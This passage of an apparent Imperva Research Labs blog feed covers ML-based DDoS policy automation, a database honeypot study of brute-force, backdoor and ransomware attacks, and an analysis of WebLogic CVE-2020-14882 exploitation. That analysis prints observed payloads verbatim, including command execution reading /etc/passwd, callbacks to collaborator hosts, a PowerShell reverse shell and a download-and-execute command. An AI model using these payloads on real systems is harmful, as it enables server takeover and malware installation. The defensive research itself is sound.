expert would start to adjust a security policy, our model would suggest a security policy, anchor the expert to it, and effectively reduce the number of heterogeneous labels. At first we suggested security policies based on simple heuristics, and as we collected data we trained and retrained the model to suggest better policies. This does not mean that the experts accepted the suggested policy, but rather that, when given the same data set, they were all now anchored to the same suggestion, meaning less variation between their answers.</p><p>Normally, we would want to avoid this bias, especially when guesswork is involved. However, in this case it wasn’t a real problem because the experts would always check if their security policy matched the traffic, so no amount of bias would cause them to create a bad security policy. On top of that, we simply replaced an existing anchoring bias — the previous security policy.</p><p><strong>Pretty numbers bias:</strong></p><p>Humans tend to prefer round “pretty” numbers, and as the number grows, the number of trailing zeros grows too. This is especially noticeable when choosing initial numbers. Although it only mildly affects a security policy, it does cause a problem when validating results because the model will never generate pretty numbers, and we wouldn’t want to hinder its accuracy by forcing it to. We solved this problem by suggesting a security policy to the experts, thus reducing their tendency to use round pretty numbers because the expert wouldn’t choose the initial values and would just adjust them as required.</p><h3>Monitoring and rollout</h3><h3>Lesson 3: once deployed, everything changes</h3><p><strong>Start small</strong></p><p>Once a model reaches high levels of performance, it’s tempting to mark it as done and ship it out, but this might not be the best move. No matter how many tests you run, a model that performs well in the lab might crash and burn when deployed in a production. Once it’s deployed you’ll suddenly have to deal with new use cases you hadn’t thought about, and solving problems in production isn’t something you want to do. We solved this problem by performing a gradual rollout. At first the model only suggested a security policy and our experts had to manually approve it. By tracking the suggestions that were accepted and rejected we gradually gained confidence in the model. Once we reached a good ratio between rejections and approvals, we moved it to a fully-automated mode.</p><p><strong>Think about explaining and presenting your model</strong></p><p>Classic metrics for regression models, such as mean squared error or explained variance accurately represent the model’s performance, but aren’t easily explainable and tend to be confusing, especially to non technical audience or anyone that’s unfamiliar with the data. It became a true challenge to represent the model’s accuracy and its risk of getting a prediction completely wrong in a single, human-readable metric.</p><p>We decided to use an alternative evaluation method. Instead of measuring the error between the prediction and target, we simply checked whether the prediction was close enough to the target, allowing us to use classification metrics to better present and understand our results. We defined what was considered to be close enough by creating a tolerance scale. Simply put, the tolerance scale allowed the prediction to be up to X% above target, or Y% below target. The values you choose for X and Y determine the tolerance for each type of mistake. In our case, setting a security policy too low can lead to false positives, and so we set a higher tolerance for predictions above target than for predictions below target. This ended up being a very useful regression metric that was both easily explainable and accurately reflective of the error’s magnitude. This alternative method was meant for humans only; we still used the classic metrics for the training phase.</p><p><strong>Implement failsafes and learn from every mistake</strong></p><p>Even highly accurate models can make mistakes, and no one likes having to deal with a crisis at 2am. With classification models it’s common practice to choose a single threshold that distinguishes between a yes and no answer. To avoid false positives, it’s easy to add an additional threshold that says “maybe” and send these results for further examination. In regressions models the confidence interval can be used to determine cases where the model isn’t confident about the predictions. However, both of these solutions rely on the data the model is already relying on. This might be a problem if the model encounters special cases that aren’t reflected in the current features it uses. For example, a model that predicts an item’s price based on its shape and components, will set a very low price for collector items because it ignores the item’s history. We solved this problem by using an additional data source — the item’s previous price, or in our case — the previous security policy. We started comparing every prediction the model made to the previous security policy. Policies that changed too much were marked “risky” and sent for manual approval, effectively preventing any impact on our customers, and allowing us to investigate new special cases and patch up the model accordingly.</p><h3>Conclusions</h3><p>As tempting as it might be, don’t rush to trust your data. It’s extremely important to not only explore the data thoroughly, but also think about who created it, how it was acquired, which biases could affect it, and how you can fix it.</p><p>While you’re working on your model, take some time to think about the model once it leaves your lab. Ask yourself the following questions:</p><ul><li>How can you minimize the risk?</li><li>Can you easily explain your model’s performance to non data scientists?</li><li>How will you monitor and track your model in production?</li></ul><p>I hope you’ll find these lessons useful for your supervised learning project, especially if the labels are man-made.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7daf4263480f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/lessons-learned-building-supervised-machine-learning-into-ddos-protection-7daf4263480f">Lessons learned building supervised machine learning into DDoS Protection</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Imperva SD-SOC: How Using AI and Time Series Traffic Improves DDoS Mitigation]]></title>
            <link>https://medium.com/imperva-research-labs/imperva-sd-soc-how-using-ai-and-time-series-traffic-improves-ddos-mitigation-c5f3a019c4a8?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5f3a019c4a8</guid>
            <category><![CDATA[ddos]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Mon, 23 Nov 2020 14:56:16 GMT</pubDate>
            <atom:updated>2020-11-23T14:56:16.971Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://medium.com/u/b10f9ebb5730">Johnathan Azaria</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*KffzwpBfp50g3u-r.jpg" /></figure><p>Much has changed since we first started providing protection against DDoS attacks. Attacks which were once considered huge are now mitigated on a daily basis, attackers are becoming more sophisticated by the day, and mitigation takes a matter of seconds, as opposed to minutes, to kick in. But one thing that still remains unchanged is the manual process required to configure a security policy for an IP range.</p><p>A security policy is a set of values that defines the traffic’s baseline, taking into consideration factors such as:</p><ul><li>The normal amount of traffic to an IP range</li><li>The point at which we consider the range to be at a risk of DDoS</li><li>The steps required to mitigate the attack</li></ul><h3>The security policy struggle</h3><p>For years, SOC (Security Operations Center) engineers have been responsible for configuring security policies, familiarizing themselves with the system through trial and error to develop the most effective methodologies for exceptional DDoS protection.</p><p>As talented and hard-working as these engineers might be, the growing number of customers and ranges in play means we are slowly but surely reaching a point where manual intervention just doesn’t scale. On top of that, it’s not just new security policies that require attention. Network traffic is a living thing and it tends to change with time. It grows as more users register to a web service, and it can shift when a site goes global or offers new services. Since the COVID-19 outbreak we’ve seen traffic patterns change significantly as companies adopted a work-from-home policy and started relying heavily on video conference apps. When such changes are taken into consideration, even more manpower is required to provide optimal protection. Finally, with so many policies being created and maintained manually, there is always the risk of human error.</p><h3>The art of security policy creation</h3><p>Creating a security policy has become almost an art form, with many different factors to take into consideration, such as:</p><ul><li>Most frequently used protocols and ports</li><li>Recent changes to traffic</li><li>Number of attacks</li></ul><p>While these factors and more are manually accounted for by security experts to create a security policy, it wouldn’t be so easy for a machine to understand and translate them into a set of rules. SOC engineers have spent many years perfecting the art of policy creation, and without a clear formula for the enormous decision-making process they go through, the creation of a security policy algorithm might seem impossible.</p><h3>Automation is key</h3><p>What if we could develop an algorithm that automatically creates the optimal security policy for each IP range without any human interaction?</p><p>An algorithm with the potential to solve scaling issues because it wouldn’t require manual work. One that could be programmed not only to easily and automatically create new policies, but also to run updates on all existing security policies on a regular basis. And what if this algorithm allowed us to eliminate the need for human interaction and the subsequent risk of human error?</p><p>Imperva is leveraging Artificial Intelligence (AI) and Machine Learning to automate the creation of security policies and enhance its DDoS protection solutions. By creating the best security policy for each range and by teaching a machine to think like a SOC engineer we’re able to optimize the creation of new policies and ensure existing policies are scaled accordingly without the risk of human error. The idea was based on the thinking that, while it may be difficult for a machine to understand the many factors involved in creating a security policy, it can analyze traffic trends over time, compare recent and historic traffic, and consider distribution shifts with ease, allowing it to predict the best security policy for that range.</p><p>To create a security policy for a particular range, SOC Engineers analyze the time series traffic of that range along with other statistics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vH0TUUIdgsmr2F-y.png" /></figure><p>We collect time series traffic from numerous ranges and their corresponding security policy, as created by SOC engineers. We then process the time series traffic and extract the most important features, such as maximum, average, and median, over time, to develop the predictive model. This data is further enriched with additional external information such as IP distribution, range risk, and policy creation date.</p><p>We then feed that information to a Machine Learning algorithm which connects the points between processed time series traffic and a security policy. With each iteration, the model attempts to predict the policy using the processed time series traffic, self-adjusting whenever it gets it wrong until it reaches an acceptable level of accuracy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*69SG2lRpZCixQN12.png" /></figure><h3>Testing for accuracy</h3><p>In order to double-check the model and ensure its accuracy, we created a temporary manual mode where the model suggests a security policy to SOC engineers who then need to approve or decline it. Policies the model isn’t sure about are flagged as ‘risky’ to help SOC prioritize. Additionally, there’s an option whereby SOC engineers are able to add their own input so the algorithm can be tweaked as required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YiYtalP0DnbTjETu.png" /></figure><p>In running these tests, the model has consistently predicted the same values as SOC engineers in 98% of the cases. For the remaining 2%, it has detected security policies that it isn’t sure about and flagged them for manual inspection.</p><h3>Conclusions</h3><p>With the growth of AI in recent years, the automation of manual tasks might seem easily achievable. In reality, though, it almost never is. As sophisticated as Machine Learning sounds, the algorithm we used was actually pretty basic stuff. Most of the work was around the human interaction side of things, such as figuring out SOC’s methodology, singling out edge cases, and understanding the feedback we received. Going through this process highlighted just how difficult it is to create a truly reliable security policy, and why being able to automate this process is invaluable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5f3a019c4a8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/imperva-sd-soc-how-using-ai-and-time-series-traffic-improves-ddos-mitigation-c5f3a019c4a8">Imperva SD-SOC: How Using AI and Time Series Traffic Improves DDoS Mitigation</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug hunting for a quick buck using WebLogic vulnerability (CVE-2020–14882)]]></title>
            <link>https://medium.com/imperva-research-labs/bug-hunting-for-a-quick-buck-using-weblogic-vulnerability-cve-2020-14882-eb23a3069fa1?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb23a3069fa1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Tue, 03 Nov 2020 13:41:23 GMT</pubDate>
            <atom:updated>2020-11-03T13:41:23.732Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://medium.com/u/155e7d6d3706">Vitaly S.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*si1ih-_PUipJha86.jpg" /></figure><h3>Introduction</h3><p>Popular within the commercial sphere, Oracle WebLogic Server is a scalable enterprise Java platform application server for Java-based web applications. When a vulnerability is discovered in WebLogic, hackers will try to exploit it ASAP.</p><p>And it’s not only hackers — bug hunters also want to make a quick buck and report the organization’s vulnerability.</p><h3>Oracle WebLogic Unauthenticated Complete Takeover RCE (CVE-2020–14882)</h3><p>This vulnerability is an unauthenticated Remote Code Execution (RCE), which means you need to send a single HTTP request to the vulnerable WebLogic server to exploit it, and you don’t need to be authenticated to take control of the server.</p><p>A <a href="https://www.youtube.com/watch?v=JFVDOIL0YtA">video</a> showing the Proof Of Concept (POC) was released on October 28, 2020, and a detailed report of the vulnerability was published on <a href="https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf">Medium</a> on the same day.</p><h3>Bug hunters</h3><p>Nowadays, hunting for bugs and earning money is a common practice.</p><p>To make their job easier, bug hunters create many tools and automated scanning systems to find and exploit bugs — allowing them to be the first to find the bug and earn money.</p><p>These automated systems are an orchestration of multiple tools.</p><p>The outcome of the scans the perform is information about a company — information on the domains, sub-domains, technological stack, IPs, and more that’s stored in databases.</p><p>When a new vulnerability, like WebLogic RCE, is discovered, the bug hunter can pull all the domains that run WebLogic and try to exploit it with a push of a button.</p><p>“Nuclei” is one of these tools — a highly customizable tool that allows you to identify vulnerabilities and exploit them using pre-defined <a href="https://github.com/projectdiscovery/nuclei-templates">templates</a>.</p><p>With this tool, you can attack multiple targets at once, thereby increasing your chances of success.</p><p>These templates contain all the data needed to exploit a specific vulnerability, such as URL, parameters, and payloads.</p><p>You can find many templates added by the community in the GitHub repository, but you can also create your templates.</p><h3>Exploitation</h3><p>When this kind of vulnerability is published, hackers don’t waste time and will try to exploit it before the vendor and associated companies apply a patch.</p><p>At Imperva, we have built-in security mechanisms to protect against zero-day attacks, including RCE, on different platforms.</p><p>When CVE-2020–14882 was published, we searched our data to find exploitation attempts, and found the following:</p><p>The first exploitation attempt was made on October 28, the same day the POC was published.</p><p>The attempt was made by the above-mentioned tools as well as a very popular tool in the bug bounty community, <a href="https://github.com/projectdiscovery/nuclei">Nuclei</a>.</p><p>The template to exploit CVE-2020–14882 was uploaded on the public “Nuclei” template repository on October 29, a day after we saw the first exploitation attempt using “Nuclei”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*ZUApfjnTUYTucIDc.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iQFrwPc0fgzjGtjw.png" /></figure><p>On October 28, we saw many user-agents, indicating the bug hunter had carried out the exploitation:</p><ul><li>Nuclei — Open-source project (<a href="http://github.com/projectdiscovery/nuclei">github.com/projectdiscovery/nuclei</a>)</li><li>Bug Bounty</li><li>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 — [ethical-bugbot]@protonmail.com</li><li>Fuzz Faster U Fool v1.2.0-git</li><li>httpx — Open-source project (<a href="http://github.com/projectdiscovery/httpx">github.com/projectdiscovery/httpx</a>)</li></ul><p>All these user-agents are related to tools used by bug hunters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*giHwNoQfhLwJR-_p.png" /></figure><p>Many of the exploitation attempts were carried out by Golang-based tools.</p><p>For example, “Nuclei”, “Fuzz Faster U” and “httpx” are all written in Golang and used by the bug bounty community.</p><h3>Types of payloads observed</h3><h3>Information disclosure</h3><ul><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘type C:\Windows\win.ini’);”)</li><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘cat /etc/passwd’);”)</li><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘ls’);”)`</li></ul><h3>Reconnaissance / probing</h3><ul><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘nslookup xxxxxx.d.requestbin.net’);”);</li><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘curl hxxp://xxxxxxxx.ceye.io’);”);</li><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘nslookup xxxxxxxxx.0efp3gmy20ijk3tx20mqollbd2jtfh4.burpcollaborator.net’)”)</li><li>com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(“<a href="http://xx.xx.xx.xxx:xxxxx”">http://xx.xx.xx.xxx:xxxxx”</a>)</li><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘ping.exe -n xxxxxxxxx.burpcollaborator.net’);”);</li></ul><h3>Backdoors</h3><ul><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(“powershell.exe -nop -c “$client = New-Object System.Net.Sockets.TCPClient(“xxx.xx.xxx.xxx”,1447);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;</li></ul><h3>Malware</h3><ul><li>com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘powershell -Command (New-Object System.Net.WebClient).DownloadFile(‘hxxp:/x.x.x.x.xmring.com/update.exe’,’update.exe’);(New-Object -com Shell.Application).ShellExecute(‘update.exe’);’);”);</li></ul><p>Hackers and bug hunters use a very common method — “spray and pray”. They send exploits to multiple targets in a hope that one of the systems is vulnerable and it will trigger the payload.</p><p>The payload used is an out-of-band communication channel like DNS and HTTP.</p><p>In the payload, you can see the use of “burp collaborator” and “requestbin.net”.</p><p>Both services allow receiving a DNS query triggered by the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-nzfFZW6kzT1o7Jm.jpg" /></figure><h3>Conclusion</h3><p>It’s not only malicious actors that try to exploit vulnerabilities — but also people who want to make companies more secure.</p><p>We’re constantly on the lookout for new vulnerabilities to make sure our customers are protected.</p><p>Imperva WAF has different security mechanisms to detect zero-day attacks. In the case of WebLogic RCE CVE-2020–14882, the attacks were detected and blocked out of the box.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb23a3069fa1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/bug-hunting-for-a-quick-buck-using-weblogic-vulnerability-cve-2020-14882-eb23a3069fa1">Bug hunting for a quick buck using WebLogic vulnerability (CVE-2020–14882)</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Never Leave Your Cloud Database Publicly Accessible]]></title>
            <link>https://impervaresearchlabs.medium.com/never-leave-your-cloud-database-publicly-accessible-fd970771c10b?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd970771c10b</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Mon, 19 Oct 2020 16:36:19 GMT</pubDate>
            <atom:updated>2020-10-20T06:26:54.305Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://medium.com/u/155e7d6d3706">Vitaly S.</a>&amp; <a href="https://medium.com/u/9bd9e7a252c9">Sarit Yerushalmi</a></p><figure><img alt="Never Leave Your Cloud Database Publicly Accessible" src="https://cdn-images-1.medium.com/max/944/1*kAGUX1S3xv01GJCMKLDjEQ.jpeg" /></figure><h3>Introduction</h3><p>In cybersecurity, we often hear about best practices, one of the most important of which is never to open services that should be for internal use to public access. These are best practices for a good reason — when you don’t follow them, you might be hacked!</p><p>Research we conducted in the past showed how hackers could use <a href="https://www.imperva.com/blog/hundreds-of-vulnerable-docker-hosts-exploited-by-cryptocurrency-miners/">Docker</a> and <a href="https://www.imperva.com/blog/new-research-shows-75-of-open-redis-servers-infected/">Redis</a> services that were left exposed to their own advantage.</p><p>Investigations into the root cause of data breaches will most often point to the same malpractice where services are left publicly accessible, whether by mistake or intentionally for a specific purpose for a limited time.</p><p>When it comes to databases, one of the most important rules is never to expose your database to public access. In cloud environments, however, it’s very easy to make this mistake because your cloud provider can allow it to happen with just a few clicks.</p><p>Using Shodan we can quickly get an estimation of publicly open databases. Figure 1 shows statistics related to MySQL and Postgres. Under “Top Organizations” you can see cloud providers like Amazon and Alibaba.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pHZLUOnhxQVXOw_P.png" /><figcaption>Figure 1: Publicly open MySQL and Postgres databases from Shodan</figcaption></figure><p>In this blog, we’ll demonstrate what can happen inside your database when you leave the door open.</p><h3>HoneyPots</h3><p>One of the most effective ways of learning how hackers operate is to deploy honeypots.</p><p>Taking this approach, we created several Relational Database Services (RDS) on AWS and left them open. To lure hackers we inserted Personal Information Identifier (PII) data and payment information.</p><p>In Figure 2, you can see that it didn’t take too long for hackers to discover and make the first connection attempt to the database. In addition, the time to the first attack was also very short.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_tXNW2B6iaeZK1qQ.png" /><figcaption>Figure 2: Honeypot statistics</figcaption></figure><p>During the research, we observed multiple attack types. Let’s have a deeper look into them.</p><h3>Attack Types</h3><h3>Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/0*AzOcIUV-08ucErJo.png" /></figure><h3>Password cracking using dictionary attack</h3><p>Once your database is public, the first thing hackers will do is try to connect to it, starting by using various methods of password cracking. We refer to this as phase one.</p><p>We observed multiple attacks, some of them conducted from a single IP while others from 115 different IPs, often from the same C Class, with 170 different DB users. Overall, during a period of one month, we observed 23,000 different connection attempts to the database. The most popular DB users used in the attacks were: root, admin, mysql, user, backup, test, phpmyadmin, mysqld, sa, and ADMIN.</p><p>In Figure 3 you can see a password cracking attack on MySQL DB carried out by multiple IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zhQPsGAduyx1BOnM.png" /><figcaption>Figure 3: Password cracking attack done by multiple IPs</figcaption></figure><p>We identified two types of behaviors. After a successful connection to the database, the first of these immediately begins phase two of the attack — the further exploitation of the database, such as malware deployment.<br> The second type, after successfully connecting to the database, immediately disconnects and saves the credentials for later use. On one occasion, we observed an interval of five days between phases one and two.</p><h3>Data Probing</h3><p>Data probing, as shown in Figure 4, is a step hackers perform to inspect the data in order to decide whether it has any value, and whether or not to continue the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4OcB6lhOCbhedOsL.png" /><figcaption>Figure 4: Data probing attack</figcaption></figure><h3>DB User Backdoor</h3><p>We observed connections to the database (DB) where the only thing that happened was a creation of a new DB user, as shown in Figure 5. Our educated assumption is that this DB user was being used as a backdoor for later access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YHArSY0u8YoVnvlQ.png" /><figcaption>Figure 5: DB user backdoor attack</figcaption></figure><h3>DB Takeover</h3><p>In this attack, hackers iterate all existing DB users and modify their password, leaving you outside of your own database. In Figure 6 you can see an example of where the hacker got a list of users with specific privileges and then modified the “admin” user password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DEOlRy88VQjfS7ms.png" /><figcaption>Figure 6: DB Takeover attack</figcaption></figure><h3>Malware Deployment</h3><p>Hackers can also use SQL to download and execute malicious files on the database machine. For additional information, you can read: <a href="https://www.imperva.com/blog/deep-dive-database-attacks-part-iv-delivery-and-execution-of-malicious-executables-mysql/">A Deep Dive into Database Attacks [Part IV]: Delivery and Execution of Malicious Executables through SQL Commands (MySQL)</a></p><h3>Ransomware</h3><p>Ransomware is usually associated with a malware that encrypts your data and requires you to pay a ransom in order to be able to release it. We’ll take a deep dive into a version of this attack in the next section.</p><h3>Deep dive into ransomware attack</h3><p>In the context of ransomware in databases, hackers dump your data, delete it and leave a ransom note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZCw8nWKjHAI-7-oO.png" /><figcaption>Figure 7: Ransomware note</figcaption></figure><p>In our honeypot project, we were witness to countless ransomware attacks on our databases by different hacker groups. Figure 8 shows a ransomware attack flow on a MySQL honeypot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ewFKwL0z7clI66PP.png" /><figcaption>Figure 8: Ransomware attack flow</figcaption></figure><p>The six phases of the attack:</p><h3>1. Collect credentials using dictionary attack:</h3><p>The hacker used a dictionary attack to guess DB users and passwords. In line 5 the hacker succeeded in connecting the DB with an ‘admin’ user. He then disconnected and continued to try guessing additional DB users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P8DWUMvX3u-iETWX.png" /></figure><h3>2. Run reconnaissance script:</h3><p>After five days, the hacker came back and started his attack. At first, he ran a reconnaissance script to discover the following:</p><ul><li>All DB users</li><li>All databases that are not default</li><li>All DB users that have “SELECT” and “INSERT” permissions</li><li>The size of the databases</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZCUEsHlz-SsC6Uwe.png" /></figure><h3>3. Use “mysqldump”:</h3><p>By examining the queries (see below) we came to the conclusion that the hacker used mysqldump to exfiltrate the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yOmyLpWlHNbYn9Ec.png" /></figure><p>Once he had all the data, the hacker dropped the database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZWXTQu-ZWt79yMEn.png" /></figure><h3>4. Re-create database:</h3><p>The hacker created a new database with the same name it had before and inserted a ransomware note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SseP67d83utmtJsY.png" /></figure><h3>5. Create a new database:</h3><p>The hacker created a new database called “PLEASE_READ_ME_XMG” to get the attention of the database administrator, using the same ransomware note as before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q7oGcp4E0TRe3HSi.png" /></figure><h3>6. Create DB user backdoor</h3><p>The hacker created a backdoor by creating a new DB user and granted him administrative permissions. This way, the hacker would still be able to connect to the DB, even if the administrator decided to change the password for all users he was aware of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UfUNp-PBjmC2sgwq.png" /></figure><p>The end result of the attack — our honeypot database was hijacked.</p><p>After analyzing the attack we decided to contact the hacker in order to get more information about his operation. We used a fake email account and asked him for proof that he did, indeed, possess our data. In return, he sent us a screenshot of the dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1uadIwr4grNAqNTY.jpg" /><figcaption>Figure 9: Talk to the hacker</figcaption></figure><p>We suspected that hackers use legitimate tools for dumping databases. Now we had proof of “mysqldump” being used to exfiltrate data from databases in this case.</p><p>This begs the question: do hackers use legitimate tools to dump databases?<br> In order to answer this question, we had to get our hands on database dumps from previous data breaches.</p><p>We browsed hacker forums and downloaded a couple of dumps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*NlLXGUsYHFuGs3oP.png" /><figcaption>Figure 10: Dump using MySQL Administrator dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/0*92mFs5ejNv0Gg9rm.png" /><figcaption>Figure 11: Dump using MySQL dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*EACblha75n4XE5e8.png" /><figcaption>Figure 12: Dump using Adminer MySQL dump</figcaption></figure><p>As shown in figures 10 to 12, those dumps are created by legitimate tools.</p><h3>Conclusion</h3><p>Our goal was to understand how hackers attack databases. The assumption was that hackers use sophisticated techniques/tools to carry out their attacks, but we learned that this is not always the case. Legitimate tools are usually used for administrative operations like database backup, but are also used by hackers to exfiltrate your data.</p><p>This way, hackers can mask their malicious activity.</p><p>This blog shows the tip of the iceberg when it comes to what can happen on your open database.</p><h3>How can I protect my database?</h3><p>We highly recommend you follow best practices, for example:</p><p>Disable public access</p><p>Change default passwords</p><p>Deploy password policies (expiration, lock, complexity, etc.)</p><p>Searching risky queries or operations, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*bdOjRS90sx7zWXXyYzpoqg.png" /></figure><p>You can also search for failed logins to find brute force attacks.</p><p>Imperva’s Cloud Data Security (<a href="https://www.imperva.com/blog/introducing-imperva-cloud-data-security/">CDS</a>) product can help you to detect some of the attacks like new DB user creation and brute force attacks.</p><p>We are currently in the process of adding detection algorithms into the CDS product.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd970771c10b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Account Takeover Botnets Outsmart Traditional Security Controls]]></title>
            <link>https://impervaresearchlabs.medium.com/how-account-takeover-botnets-outsmart-traditional-security-controls-da5484e00b50?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/da5484e00b50</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bots]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 07:59:20 GMT</pubDate>
            <atom:updated>2020-09-27T07:59:20.175Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://www.imperva.com/blog/author/yurygueller/">Yuri Geiler</a> and <a href="https://www.imperva.com/blog/author/navital/">Nadav Avital</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JID2iubJl5ltMcYUXI7EYg.jpeg" /></figure><p>Account Takeover (ATO) describes when an online account is accessed and/ or used by someone other than its legitimate owner, usually for malicious purposes. <a href="https://www.imperva.com/blog/?s=%22account+takeover%22">Account Takeover attacks</a> happen when an attacker is trying to get unauthorized access to an account or when the account has already been compromised and the attacker uses the account for a malicious purpose, such as unauthorized access or <a href="https://www.imperva.com/blog/?s=%22data+breach%22">data theft.</a></p><p>Although the risk is not new, Account Takeovers pose one of the top risks for financial loss for corporations and individuals today. The reality is that businesses rely on limited detection methods like static security rules, rate limit and basic bot protection. These methods work well on technical attacks like SQL injection or cross site scripting. When part of an integrated multi-layered solution, they also help provide <a href="https://www.imperva.com/products/application-security/">defense-in-depth</a> that can help slow down the momentum of a wide variety of attacks.</p><p>However, those methods are less effective against business logic attacks such as ATO that target, for example, user logins. These methods can be easily bypassed as today’s ATO attackers use advanced tools and a widely-distributed infrastructure that allows them to operate at a slow steady rate, impersonate legitimate clients and to morph the attack when needed.</p><p>To better understand the problem, let’s look at this real life example of site login traffic (figure 1). The daily volume is almost the same, except for one specific day. When looking into this day using traditional security controls, we cannot point out any suspicious activity — no strange errors, no known attacks, no device operating at a high rate and no hacking tools or other bad bots involved. This incident would likely be considered benign and overlooked in the <a href="https://www.imperva.com/learn/data-security/alert-fatigue/">sea of potential security events</a> that the SOC team handles daily (click on graphics below to enlarge).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3_oSMyD5OAmwVPE-.png" /></figure><p><em>Figure 1 — login requests distribution over time in a single site</em></p><p>Now let’s look at this 